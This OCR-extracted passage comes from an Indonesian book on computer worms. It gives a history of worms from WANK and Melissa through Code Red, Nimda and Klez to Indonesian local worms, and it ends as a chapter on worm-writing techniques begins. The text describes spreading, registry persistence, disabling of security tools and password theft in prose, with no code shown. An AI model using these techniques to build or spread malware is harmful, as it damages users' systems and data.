melakukan pengrusakan, tetapi kerusakan yang ditimbulkan disebab-
kan oleh kecelakaan dan kesalahan pemrograman.
Dibulan Oktober 1989, muncul sebuah worm bernama WANK (Worms
Against Nuclear Killers) yang tampaknya belajar dari worm Morris dan
melakukan penularan pada komputer VMS pada DECNet. Worm ini
18
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
menyebar dengan memanfaatkan e-mail dan mengeksploitasi system
untuk mendapatkan hak akses dengan berusaha mencari account user
name dan password.
2.5.3 HAPPY99
Pada bulan Januari 1999, worm happy99 menyebar lewat e-mail dengan
attachment sebuah fle aplikasi bernama happy99.exe. Ketika fle terse-
but dieksekusi tampil gambar kembang api untuk memperingati tahun
baru 1999, tetapi secara diam-diam memodifkasi fle WSOCK32.DLL
(fle system untuk koneksi internet) dengan suatu program trojan horse
yang mengijinkan worm tersebut menyisipkan dirinya pada proses
komunikasi internet, sementara fle WSOCK32.DLL yang asli diubah
kembali namanya menjadi WSOCK32.SKA
2.5.4 MELISA
Di bulan Maret 1999, sebuah virus macro "Melisa"
kembali meresahkan pengguna internet dengan
menginfeksi 100.000 unit komputer hanya dalam
waktu tiga hari.
Virus tersebut memulai penyebarannya dengan
pengiriman perdana ke Usenet Newsgroup "alt.sex"
yang menjanjikan account name berikut password
untuk dapat mengakses sebuah situs erotis. Sebuah
perusahaan antivirus Norton menyebutkan bahwa virus ini adalah
penggabungan antara worm dan virus.
Mellisa menyertakan sebuah fle attachment berupa fle dokumen
Word yang terinfeksi. Ironisnya saat itu masih banyak yang percaya
bahwa dengan membuka sebuah e-mail tidak dapat menginfeksi se-
buah komputer.
Ketika macro tersebut tereksekusi oleh aplikasi Word. Pertama kali
yang dilakukannya adalah melakukan pemeriksaan apakah versi
aplikasi Word yang digunakan bisa diinfeksi, jika bisa maka virus akan
mengurangi pengaturan keamanan pada aplikasi Word untuk mence-
gah aplikasi menampilkan pesan atau peringatan tentang adanya suatu
macro, yang akan mencurigakan user.
11
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
Virus kemudian mencari sebuah key pada registry yang mengandung
kata "kwyjibo", apabila key tersebut tidak ditemukan, virus akan
mengeksekusi aplikasi Outlook dan berusaha mengirimkan salinan
dirinya kepada 50 penerima yang ada pada address book (buku alamat)
aplikasi Outlook. Sebagai tambahan virus menulari fle template
aplikasi Word "normal.dot" menggunakan ftur VBA macro "Auto
Execute", fle dokumen yang berasal dari fle template tersebut akan
membawa serta virus tersebut.
2.5.5 PRETTY PARK
Sebuah worm lainnya menyebar
luas dimusim panas tahun 1999.
Worm yang dinamakan "Pretty-
Park" ini menyertakan attachment
berupa fle "Pretty Park.exe". Tidak ada penjelasan pada attachment,
hanya saja fle tersebut menggunakan icon bergambar seekor beruang,
yang merupakan sebuah karakter pada suatu pertunjukan televisi
"South Park".
Jika dieksekusi, worm menginstal dirinya ke direktori System Windows
dan memodifkasi registry yang membuat worm tersebut aktif saat fle
ber-ekstensi "exe" apa saja dieksekusi. Hal ini menjadi permasalahan
bagi program antivirus, yang tentunya juga ber-ekstensi "exe".
Worm juga mengirimkan salinan dirinya pada alamat e-mail yang
ada pada buku alamat Windows. Pretty Park kemudian berusaha
mengirimkan beberapa data system dan password pada sebuah server
IRC (internet relay chat) tertentu, terakhir dilaporkan bahwa worm ini
memasang suatu backdoor.
2.5.6 EXPLORE ZIP
Pada bulan Juni tahun 1999, muncul sebuah worm bernama "ExploreZip"
yang menyamar sebagai fle zip (fle terkompresi) dalam attachment
sebuah e-mail yang jika dieksekusi akan menampilkan pesan kesala-
han. ExploreZip secara diam-diam menyalin dirinya kedalam direktori
System Windows dan memodifkasi registry.
15
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
Seperti worm lainnya, ExploreZip juga melakukan penyebaran lewat
e-mail dengan memanfaatkan aplikasi Outlook atau Exchange, dengan
mengawasi e-mail yang masuk dan membalas e-mail tersebut dengan
salinan dirinya.
pada tanggal 9 Januari 2003 ExploreZip kemudian dilaporkan meng-
hasilkan varian baru. Varian ini bernama ExploreZip.N varian dan cu-
kup merepotkan pengguna komputer di Indonesia. Salah satu metode
penyebarannya menggunakan e-mail yang memiliki attachment berupa
fle ZIPPED_FILES.EXE saat fle ini dieksekusi maka worm menginstal
dirinya sendiri pada system Windows.
Worm ini meng-overwrite (menimpa) fle dokumen dengan ekstensi
DOC (Microsoft Word), XLS (Microsoft Excel), PPT (Microsoft Power-
point), ASM (Assembler), CPP (C++), C (File C), H (Header C) sehingga
fle-fle tersebut sulit untuk diselamatkan.

2.5.7 BUBBLE BOY
Awal tahun 2000, muncul sebuah virus yang membawa sebuah konsep
baru "BubbleBoy". Virus ini menunjukkan bahwa sebuah komputer
dapat tertular hanya dengan melihat e-mail, tanpa harus membuka
pesannya.
Virus ini mengambil keuntungan dengan adanya celah keamanan pada
aplikasi Internet Explorer, yang secara otomatis mengeksekusi script
Visual Basic yang terdapat pada body e-mail. Virus akan datang sebagai
sebuah e-mail dengan subjek "BubbleBoy is back", pesan berbentuk fle
HTML dan mengandung script virus dalam bahasa Visual Basic.
Jika menggunakan aplikasi Outlook, script tersebut akan dijalankan
walaupun yang dilakukan hanya preview. File tersebut akan ditambah-
kan pada direktori StartUp Windows, sehingga apabila komputer
dihidupkan virus akan berusaha mengirimkan dirinya pada setiap
alamat yang ada pada address book aplikasi Outlook. Diwaktu yang
hampir bersamaan, worm "KAK" tersebar dengan cara yang serupa.
18
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
2.5.8 LOVE LETTER
Dibulan Mei 2000, lajunya penyebaran worm "LoveLetter" menun-
jukkan efektiftas serangan dengan metode social engineering, yang
hingga saat ini sudah menjadi suatu kebiasaan suatu worm dalam
penyebarannya.
E-mail yang berisi worm ini memiliki subjek "I Love You" yang berarti
"Saya Cinta Kamu" dan berisi pesan-pesan yang mendorong user untuk
mengeksekusi attachment yang merupakan worm tersebut. File attach-
ment berupa Visual Basic Script yang bisa dieksekusi dengan Windows
Script Host (bagian dari Windows98, Windows2000, Internet Explorer
5, atau Outlook 5).
Ketika dieksekusi, LoveLetter menginstal dirinya kedalam direktori
System Windows dan memodifkasi registry untuk memastikan bahwa
worm akan aktif saat komputer dihidupkan. Ketika komputer lainnya
terinfeksi, dan jika aplikasi Outlook terinstal pada komputer tersebut,
maka worm akan mengirimkan salinannya pada siapa saja yang ada
pada address book aplikasi Outlook.
Sebagai tambahan worm akan membuat koneksi IRC dan mengirimkan
salinan dirinya pada siapa saja yang bergabung pada saluran IRC terse-
but. LoveLetter juga memiliki kemampuan untuk mencuri password.
Dengan mengubah home page (alamat url yang akan diakses pertama
kalinya) pada Internet Explorer ke suatu website di Asia, worm akan
mengusahakan agar suatu trojan horse di download dari website
tersebut, dimana trojan horse tersebut akan mengumpulkan password
e-mail dan mengirimkannya ke suatu alamat di Asia.
2.5.9 HYBRIS
Dibulan Oktober 2000, worm Hybris menyebar dengan e-mail ber-
attachment. Jika dieksekusi akan memodifkasi fle WSOCK32.DLL
dalam rangka menjejaki semua lalu lintas ber-internet. Untuk setiap
e-mail yang terkirim worm akan mengirimkan salinan dirinya ke
alamat penerima yang sama. Yang menarik dari worm ini yaitu; bisa
men-download fle update untuk dirinya sendiri dari newsgroup "alt.
comp.virus" metode yang digunakan termasuk canggih dan sangat
berbahaya karena payload worm tersebut bisa diubah kapan saja.
1I
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
2.5.10 ANNA KOURNIKOVA
Pada bulan Februari 2001, kembali sebuah worm mencemaskan para
pengguna internet, yang memanfaatkan kepopuleran
seorang petenis asal Rusia "Anna Kournikova". Worm
ini dibawa dalam suatu attachment e-mail yang
menyatakan bahwa lampiran tersebut adalah fle
gambar dalam bentuk fle jpg yang memuat foto
pemain tenis tersebut. Apabila fle tersebut
dieksekusi maka akan mengirimkan salinan
dirinya kepada setiap nama yang terdaftar
pada buku alamat Microsoft Outlook.
2.5.11 SADMIND
Pada bulan Mei 2001, worm Sadmind menyebar dengan mentargetkan
2 vulnerability (kelemahan) pada 2 sistem operasi yang berbeda, dan
menjadi teladan untuk worm berikutnya yang bisa melakukan serangan
dengan berbagai kombinasi. Pertama kali yang dilakukannya adalah
meng-eksploitasi vulnerability buffer overfow pada sistem operasi
Sun Solaris, dan menginstal suatu program agar bisa melakukan
komunikasi dengan IIS webserver guna melakukan suatu serangan.
Vulnerability ini kemudian diumumkan pada tanggal 18 Juni 2001,
yang menunjuk sebagai vulnerability pada Index Server ISAPI.

2.5.12 CODE RED
Memanfaatkan vulnerability pada Index Server ISAPI tersebut, pada
tanggal 12 Juli 2001 muncul sebuah worm dengan nama "Code Red"
yang menyerang semua IIS webserver, dengan aksi mengubah tampi-
lan awal website pada server yang tertular.
Pertama kali worm menginstal dirinya pada system, membaca IP
system dan dari IP tersebut worm menyusun 99 IP baru, kemudian
melakukan pemeriksaan sistem operasi pada IP yang berhasil disusun-
Jika worm menemukan sebuah IP target menggunakan sistem operasi
18
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
Microsoft Windows maka worm akan meng-eksploitasi server target
tersebut, dan melakukan deface (mengubah halaman awal suatu web-
site) dengan tampilan "Welcome to the www.worm.com ! hacked by
Chinese!."
Berikutnya worm mencari fle c:\notworm. Worm tidak akan meng-
hentikan serangannya jika fle tersebut tidak ditemukan. Pada tanggal
20 Juli worm akan melakukan serangan DOS (denial of service) pada
server www.whitehouse.gov, kemudian pada tanggal 27 worm mem-
buat dirinya dalam kondisi dormant (fase saat worm menjadi tidak
aktif) secara permanen.
Tidak begitu lama pada tanggal 19 Juli 2001, muncul Code Red I yang
merupakan versi kedua dari worm Code Red dengan penyebaran yang
lebih cepat. Banyak perbaikan pada program worm sehingga mampu
menginfeksi 359.000 unit komputer hanya dalam waktu 14 jam, seperti
versi pertama worm ini juga membuat dirinya dalam kondisi dormant
pada tanggal 20 Juli secara permanen.
Di bulan Agustus 2001, kembali Code Red muncul dengan versi ber-
beda "Code Red II", muncul dengan payload yang sangat berbahaya.
Worm ini masih memanfaatkan vulnerability yang sama dengan versi
sebelumnya, sedikit perubahan pada program, worm ini akan mem-
buat suatu trojan "explorer.exe" dan ditempatkan pada direktori root.
2.5.13 NIMDA
Tanggal 18 September 2001, worm Nimda adalah worm yang termasuk
paling banyak menginfeksi komputer di Indonesia, muncul dengan
memuat payload yang sangat berbahaya dan menggunakan beragam
cara dalam penyebarannya, pada 12 jam pertama saja worm ini sudah
berhasil menginfeksi 450.000 unit komputer, dan dalam dua hari Nimda
berhasil menginfeksi 2,2 juta komputer serta menyebabkan kerugian
sebesar US $ 370 juta.
Walaupun worm ini tidak menggunakan metode baru dalam penye-
barannya, tetapi dengan penggabungan beberapa metode dalam suatu
worm, menunjukkan adanya tingkatan baru atas kompleksitas yang
tidak terlihat sebelumnya. Nimda melakukan penyebaran dengan
mengirimkan salinan dirinya melalui e-mail dengan subjek random
(acak) dan sebuah fle attachment "readme.exe".
18
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
Nimda memanfaatkan celah keamanan pada Internet Explorer dan
Outlook Express 5.01 dan 5.5 Service Pack 1, dimana e-mail yang
dikirimkan Nimda berupa halaman html yang memiliki body script
tertentu dengan tujuan akan secara otomatis mengaktifkan fle attach-
ment walaupun e-mail tersebut hanya dilihat pada preview pane saja.
Bila komputer terinfeksi berada dalam suatu jaringan maka secara oto-
matis Nimda mencari direktori yang di sharing dari komputer lain dan
memberikan hak tulis penuh (full access) kemudian membuat salinan
dirinya ke dalam direktori-direktori tersebut, dengan mengambil nama
fle secara random pada daftar fle yang ada pada komputer terinfeksi,
dengan menggunakan ekstensi EML atau NWS.
Pada server yang terinfeksi, fle-fle halaman web akan disisipkan script
baru yang secara otomatis mengakses fle readme.eml saat halaman
web tersebut dibuka. Dalam penyebarannya, Nimda juga memanfaat-
kan backdoor pada server yang terinfeksi CodeRed2 atau Sadmind.
Banyaknya perubahan pada fle system dan registry membuat worm
ini sulit untuk dibersihkan.
2.5.14 BADTRANS.B
Pada bulan November 2001, BadTrans kembali beraksi setelah kemun-
culan perdananya pada tanggal 12 April 2001 dengan teknik yang lebih
canggih dan bisa dikatakan sebagai era baru dalam social engineering.
BadTrans.B memeriksa direktori inbox pada aplikasi Outlook dengan
mencari e-mail yang belum dibuka oleh user, kemudian membalas
e-mail tersebut dengan fle attachment berupa salinan dirinya sendiri.
Seperti Nimda, e-mail yang dikirimkan berupa halaman html dan se-
cara otomatis mengaktifkan fle attachment walaupun e-mail tersebut
hanya dilihat pada preview pane saja. Pada proses pengiriman e-mail
BadTrans.B menambahkan underscore (tanda garis bawah) "_" disetiap
awal alamat pengirim, sehingga apabila e-mail tersebut di-reply (balas)
maka e-mail balasan tersebut tidak akan sampai pada alamatnya.
BadTrans.B akan menginstal suatu program trojan yang akan mencuri
user name dan password kemudian mengirimkannya pada suatu
alamat e-mail tertentu, dilaporkan worm ini mengakibatkan kerugian
sebesar US $ 210 juta.
t0
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
2.5.15 KLEZ
Worm Klez muncul di bulan Oktober 2001, seperti worm lainnya worm
ini pun menggunakan kelemahan IE dan OE sehingga worm tereksekusi
dengan sendirinya walau hanya dilihat pada preview pane saja.
Klez hanya menggunakan sarana e-mail dalam penyebarannya. Klez
menyatukan suatu keunikan dengan pendekatan sosial yang inovatif,
dengan memilih salah satu alamat e-mail yang ada pada komputer
terinfeksi dan menggunakan alamat tersebut sebagai alamat pengirim,
kemudian mengirimkan salinan dirinya ke seluruh alamat e-mail yang
lain. Dengan cara ini terlihat, seolah-olah e-mail dikirim oleh seseorang
yang benar-benar dikenal oleh penerima.
Tanggal 11 Nopember 2001, dilaporkan kembali varian lain dari worm
tersebut. Klez.d memiliki rutin baru yang akan memeriksa database
alamat e-mail dari pengguna ICQ sebagai target pengiriman. Saat
dieksekusi worm menginstal dirinya kedalam direktori System Win-
dows dengan nama fle "WinSvc.exe" dan melakukan modifkasi pada
registry sehingga worm akan aktif saat komputer dihidupkan.
Varian lainnya muncul dengan nama Klez.e dan dilaporkan pada
tanggal 17 Januari 2002. Saat dieksekusi worm akan menginstal dirinya
kedalam direktori System Windows dengan nama fle "WINK???.EXE",
dimana ??? adalah variabel random berupa angka 2 dan 3. Seperti Klez.
d worm ini juga memodifkasi registry dengan alasan yang sama,
Selain itu worm ini juga telah dipersenjatai dengan pembunuh pro-
gram antivirus yang bisa mendeteksi Nimda, Code Red, Sircam dan
Fun Love.
Pada varian selanjutnya, e-mail tidak hanya terlihat berasal dari seorang
teman tetapi klez menyisipkan sebuah tool "imunitas" sebagai attach-
ment dan penerima diajarkan untuk menon-aktifkan antivirus mereka
agar bisa menjalankan tool tersebut, dengan mengikuti petunjuk terse-
but, dan saat attachment tersebut dieksekusi maka sebenarnya user
malah menginstal Klez serta virus ElKern pada komputer mereka.
Klez merupakan salah satu worm yang memiliki siklus hidup ter-
panjang, yang pernah mengacaukan dunia internet. Pertama kali
dilaporkan pada bulan Oktober 2001, dan mendominasi pada tahun
2002 sebagai worm yang paling lazim di internet.
t1
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
Akhir tahun 2003 kembali dilaporkan varian Klez.H sebagai ancaman,
walaupun sukar menentukan besar kerugian yang ditimbulkan, tetapi
diperkirakan Klez dan varian-nya menimbulkan kerugian sebesar US
$ 9 milyar.
2.5.16 SLAMMER
Serangan worm Slammer dimulai pada tanggal 23 Januari 2003, worm
yang hanya berukuran 369 byte ini menjadikan Slammer sebagai worm
dengan ukuran terkecil yang pernah ada. Cara kerja worm ini hampir
sama dengan CodeRed, dan tidak memodifkasi registry.
Slammer memanfaatkan vulnerability yang ditemukan oleh Next
Generation Security Software Limited pada bulan Juli 2002 dimana
dengan memanfaatkan vulnerability ini, penyerang dapat menguasai
SQL Server dan kode pemrograman yang berhasil dimasukkan akan
berjalan sebagai system karena hak dari MS SQL Server di dalam
komputer adalah system. Worm ini bukan merupakan mass mailer dan
hanya menyebarkan dirinya melalui scanning port 1434.
2.5.17 BAGLE
Di minggu ketiga Januari 2004, sebuah worm yang disinyalir berasal
dari Jerman ternyata sukses meraih peringkat pertama sebagai worm
yang paling banyak dihentikan. Worm yang kemudian diketahui ber-
nama Bagle ini memiliki siklus hidup yang tergolong singkat, Bagle
memasuki fase dormant secara permanen pada tanggal 28 Januari 2004
dan berusaha untuk menghapus fle launcher-nya.
Bagle memiliki ukuran fle sebesar 15 Kb, dan melakukan penyebaran
dengan cara mengirimkan fle infector melalui e-mail ber-attachment,
dengan tujuan pengiriman yang dikoleksi dari fle-fle berekstensi txt,
htm, html dan wab pada sistem lokal.
Saat fle infector dieksekusi, Bagle membuat salinan fle worm pada
direktori System Windows, kemudian memanipulasi registry agar
worm tereksekusi setiap kali Windows startup.
tt
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
2.5.18 NETSKY
Tidak begitu lama setelah kemunculan worm Bagle, sebuah worm
lainnya menyebar dengan kecepatan yang lebih tinggi. Worm Netsky
melakukan penyebaran dengan cara yang sama seperti yang dilakukan
worm Bagle, hanya saja Netsky memiliki beberapa rutin yang memung-
kinkan dirinya dapat melakukan penyebaran dengan menggunakan
media aplikasi peer to peer.
Netsky mengirimkan salinan dirinya melalui sebuah e-mail ber-attach-
ment dan dalam bentuk fle terkompresi. File worm berukuran sebesar
22 Kb dan menggunakan icon yang disamarkan sehingga terlihat
sebagai sebuah fle dokumen Microsoft Word.
Saat fle infector dieksekusi Netsky membuat salinan fle worm pada
direktori Windows dengan nama fle 'services.exe, kemudian me-
manipulasi beberapa nilai registry yang bertujuan agar worm dapat
tereksekusi setiap kali Windows startup.
t.8 P|8K|H8N0N N08H |0K|
Berikut ini beberapa catatan singkat tentang worm lokal yang pernah
ada dan dibuat oleh worm writer asal Indonesia.
2.6.1 I-WORM PERKASA
Pada bulan 6 Desember 2001 muncul sebuah worm lokal. Worm yang
terkompresi dengan UPX ini memiliki ukuran sebesar 12,288 Kb dan
dibuat dengan menggunakan program Visual Basic.
Worm yang juga disebut dengan nama I-Worm.Imelda atau I-Worm
Updater ini menggunakan media Microsoft Outlook dalam penye-
barannya, saat fle infector dieksekusi worm ini meng-copy dirinya ke
direktori Windows dengan nama 'UPDATE.EXE, kemudian menam-
bahkan suatu nilai registry pada sub key 'Run agar worm ini tetap
aktif saat Windows startup.
t8
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
2.6.2 PESIN
Worm lokal lainnya muncul dipertengahan bulan September 2003
dengan menggunakan icon Microsoft Word. Worm yang terkompresi
dengan ASPack ini juga sering dipanggil dengan sebutan Kenangan,
Puisi Cinta, Hallo, Mistery atau MyHeart. Hal ini disebabkan karena
worm Pesin menggunakan nama-nama tersebut sebagai nama dari fle
infector.
Worm Pesin menggunakan media disket dalam proses penyebaran, hal
ini sangat efektif mengingat penggunaan disket masih sangat diminati
oleh pengguna komputer di Indonesia.
Saat fle infector dieksekusi worm ini meng-copy dirinya ke direktori
Windows dengan nama 'SysTask.exe, Pesin juga membuat salinan pada
direktori My Documents dengan nama fle 'MyHeart.exe kemudian
menambahkan suatu nilai registry pada sub key 'Run agar worm ini
tetap aktif saat Windows startup, yang menarik dari worm ini adalah
worm akan menonaktifkan program Registry Editor jika user berusaha
untuk menjalankannya.
2.6.3 TABARU
Pada awal januari 2005 kembali diketahui sebuah worm lokal yang
membawa-bawa nama pembawa acara Jejak Petualang di TV7 yaitu Ri-
yanni Djangkaru. Worm ini memiliki ukuran fle sebesar 40 Kb dengan
icon yang disamarkan sehingga terlihat seperti fle jpg.
Saat fle infector dieksekusi worm membuat dua fle, yaitu fle
'xpshare.exe pada direktori 'C:\!submit dan fle 'riyani_jangkaru.exe
pada root direktori C:\, kemudian menambahkan value 'winloader
pada registry run yang akan mengaktifkan worm setiap Windows
startup. Hanya saja worm ini baru banyak dikenal pada pertengahan
Juli 2005.
t1
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
2.6.4 KANGEN
Pada pertengahan April 2005,
suatu worm lokal kembali me-
resahkan pengguna komputer,
dengan berbekal refrain lagu
Kangen (Dewa 19) worm ini
sukses menginfeksi ratusan
komputer di Indonesia. Seperti
worm lokal terdahulu, Kangen
juga dibuat dengan Visual Basic,
menggunakan icon Microsoft Word dan melakukan penyebaran lewat
disket, anehnya worm satu ini sama sekali tidak dikompresi .
Saat fle infector dieksekusi worm ini meng-copy dirinya ke direk-
tori System Windows dengan nama 'CCAPPS.EXE dengan ukuran fle
sebesar 64 Kb, yang menarik dari worm ini adalah worm akan berusaha
menonaktifkan program Task Manager, MS Confg dan Registry Edi-
tor. Saat buku ini ditulis worm Kangen sudah mencapai varian M.
2.6.5 KUMIS
Diawal bulan Juli 2005, seorang worm writer yang konon terinspirasi
oleh seorang dosennya yang berkumis tebal membuat worm yang ke-
mudian disebut dengan worm Kumis. Worm ini berukuran sebesar
76 Kb dan dikhususkan untuk sistem operasi Windows XP dan Win-
dows Server 2003.
Saat fle infector dieksekusi worm ini membuat salinan dirinya ke
direktori System Windows dengan nama 'username logon.exe dimana
username adalah nama user aktif, kemudian memanipulasi registry
agar worm tetap aktif. Menariknya, worm kumis ini akan me-restart
komputer setiap kali Windows startup.
t5
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
2.6.6 DECOIL
Worm Decoil yang juga sering disebut Decoy ini muncul di penghujung
tahun 2005, worm lokal ini menyembunyikan fle dokumen Microsoft
Word dan membuat salinan dengan nama yang persis dengan nama
fle yang disembunyikan.
Saat fle infector dieksekusi worm ini meng-copy dirinya ke direktori
Windows dengan nama 'lExplorer.exe, pada direktori System Win-
dows dan sub direktori '\i75-d2 dengan nama fle 'dkernel.exe. Decoy
tergolong worm dengan ukuran yang sangat besar yaitu sebesar 154 Kb
(besar fle ini setelah dikompres dengan UPX).
2.6.7 RONTOKBRO
Diawal bulan Oktober 2005, pengguna komputer di Indonesia kembali
dikejutkan oleh sebuah worm lokal yang sudah menggunakan smtp
sendiri dalam mengirimkan fle infector-nya dan selektif dalam pemili-
han alamat e-mail target.
Worm yang diisukan sebagai worm lokal ter-anyar yang pernah ada
ini ternyata dibuat dalam bahasa Visual Basic , RontokBro juga
memblokir aplikasi Registry Editor dan memonitor caption pada
aplikasi browser, jika suatu string tertentu ditemukan oleh RontokBro
maka komputer akan di-restart secara otomatis.
2.6.8 NOBRON
Tidak begitu lama setelah kemunculan RontokBro, worm yang ke-
mudian dikenali dengan nama W32/Nobron.A@mm oleh Norman
Virus Control ini berusaha untuk membersihkan system dari worm
RontokBro, Nobron memiliki ukuran fle sebesar 84 Kb. Worm juga
berusaha untuk menonaktifkan aplikasi Registry Editor, MS Confg,
Task Manager dan CMD.
Saat fle infector dieksekusi worm ini meng-copy dirinya ke direktori
System Windows dengan nama 'MsPatch.exe, selain itu Nobron juga
membuat salinan ke setiap root dari masing-masing drive termasuk
USB Flash Disk dengan nama fle 'foto administrator.exe.
t8
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
2.6.9 RUNITIS
Pada akhir bulan Nopember 2005, kembali
diketahui sebuah worm lokal dengan ukuran
fle sebesar 164 Kb dan telah dikompres dengan
aplikasi ASPack. Worm ini menggunakan nama
yang diambil dari nama seorang penyanyi dari
Malaysia yaitu Siti Nurhaliza (Runitis jika
dibaca terbalik menjadi Sitinur).
Runitis menggunakan icon Internet Explorer
dalam penyebarannya. Worm ini menghapus
fle program regedit.exe (Registry Editor), msconfg.exe (MS Confg),
wmplayer.exe (Windows Media Player), winamp.exe dan winampa.
exe (Winamp) serta beberapa fle program lainnya kemudian membuat
salinan dirinya dengan nama dan letak yang sama, sehingga user
malah akan menjalankan worm apabila mengeksekusi aplikasi-aplikasi
tersebut.
2.6.10 BLUEFANTASY
Di akhir bulan Januari 2006, sebuah worm lokal bernama BlueFantasy
ikut berlomba dengan worm lainnya, walaupun worm yang berukuran
68 Kb ini tidak melewati proses enkripsi dan kompresi namun Blue-
Fantasy mempertahankan ciri khas worm komputer yang membuat
banyak salinan, dengan cara memonitor direktori aktif dan membuat
salinan pada direktori tersebut.
Saat fle infector dieksekusi BlueFantasy meng-copy dirinya ke direktori
System Windows dengan nama fle 'Win32.com dan menggunakan
atribut Hidden, selain itu worm juga membuat salinan pada direktori
Desktop, My Documents, dan StartUp. Kemudian worm memanipulasi
suatu nilai registry yang akan membuat fle worm tetap tereksekusi
saat Windows startup, dan membuat type fle executable seperti exe
dan scr akan terlihat sebagai aplikasi Microsoft Word.
tI
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
2.6.11 ROMDIL
Pertengahan bulan Februari 2006, sebuah worm lokal lainnya muncul
dan dideteksi Norman Virus Control sebagai w32/Romdil, seperti
kebanyakan worm lokal, worm inipun dibuat dengan menggunakan
bahasa Visual Basic.
Worm Romdil memiliki ukuran fle sebesar 40 Kb untuk varian A
dan sebesar 41 Kb untuk varian B, worm ini telah dikompres dengan
menggunakan aplikasi UPX, Selain itu worm ini menggunakan icon
dengan gambar Folder, dan disamarkan sebagai fle aplikasi Windows
Explorer.
Untuk bertahan pada suatu system, Romdil berusaha untuk mencegah
user mengeksekusi aplikasi CMD (command prompt), MS Confg,
Registry Editor, Task Manager, dan beberapa fasilitas Windows seperti
Search dan Run.
2.6.12 MYBRO
Di bulan Maret 2006, sebuah varian lain dari worm RontokBro kembali
di-release dan diperkirakan dibuat dengan menggunakan bahasa C.
MyBro memiliki ukuran fle sebesar 51 Kb dan menggunakan icon
dengan gambar Folder.
Worm MyBro diperkirakan menggunakan / meniru source code worm
yang sudah ada sehingga pola worm tersebut dapat terdeteksi dengan
mudah oleh teknologi SandBox dari Norman Virus Control.
Untuk bertahan pada suatu system, MyBro berusaha untuk mematikan
service antivirus dari Norman, TrendMicro, Norton, McAfee, AVG,
Bit Defender, Panda dan PC Cilin. Selain itu MyBro berusaha untuk
menghapus fle Microsoft Visual Basic Virtual Machine yang akan
menggagalkan proses untuk setiap aplikasi yang dibuat dengan meng-
gunakan bahasa Visual Basic, serta melakukan blocking ke beberapa
situs tertentu.
t8
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

2
.

M
e
n
g
e
n
a
l

W
o
r
m
2.6.13 IRCBOT.AQF
Dibuat pada awal tahun 2006 dan mulai dikenal pada bulan April 2006,
worm IRCBot menyebar dengan memuat sebuah pesan yang ditujukan
pada Presiden. Worm yang berasal dari Borneo alias Kalimantan ini ti-
dak berusaha untuk mematikan proses Task Manager ataupun Registry
Editor sebagai metode life defender, namun sebagai gantinya IRCBot
menggunakan metode Watcher yang terbilang masih baru pada awal
tahun 2006, yang akan me-restart komputer jika proses salah satu fle
launcher dimatikan. File worm berukuran 32 Kb dan menggunakan
icon fle dokumen Microsoft Word.
2.6.14 LIGHTMOON
Worm dengan nama sebutan yang bisa memiliki arti sebagai bulan
purnama ini, menyebar dipenghujung April 2006 dengan barisan puisi
yang terinspirasi dari bulan purnama. LightMoon menggunakan icon
folder dan memiliki ukuran fle sebesar 39 Kb, umumnya memiliki
beberapa kesamaan teknik dengan worm lokal lainnya, hanya saja
LightMoon ini akan mengalihkan akses dari fungsi MS Confg, Registry
Editor, Task Manager dan Command Prompt pada fle launcher worm,
sehingga user malah mengeksekusi worm tersebut apabila menjalankan
salah satu fungsi tersebut.
108
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored

B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
88 I
N08H N8zr.1
Kenapa bab ini ada?
Bab ini adalah salah satu bab inti dari buku ini, yang memuat
tentang cara-cara pembuatan worm. Perlu untuk penulis
ingatkan kembali, bahwa membicarakan masalah pembuatan
suatu worm membutuhkan pemahaman tentang tanggung
jawab moral yang besar, karena worm dapat menimbulkan
kerugian yang sangat besar baik berupa materiil maupun non
materiil. Namun demikian, penulis tetap memberikan trik-trik
real yang digunakan para worm writer dalam membuat suatu
worm, karena akan mengingatkan pembaca semua, bahwa
worm adalah program yang sangat berbahaya dan dapat
dibuat dengan mudah.
101
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored

B
a
b

7
.

W
o
r
m

W
S
a
r
.
1
B
anyak jalan menuju Roma, mungkin ungkapan ini tidak berlaku
pada proses hacking saja tetapi juga sangat cocok apabila ungka-
pan ini digunakan dalam proses pembuatan suatu worm.
Sudah menjadi suatu rahasia umum dimana para worm writer selalu
mencari vulnerability baru karena vulnerability lama kebanyakan su-
dah memiliki patch untuk memperbaiki celah tersebut, baik dari vendor
antivirus maupun dari vendor aplikasi atau sistem operasi itu sendiri.
Teknik yang dibuatpun menjadi beragam, penulis sendiri menemukan
beberapa trik yang akan dipaparkan pada bab ini.
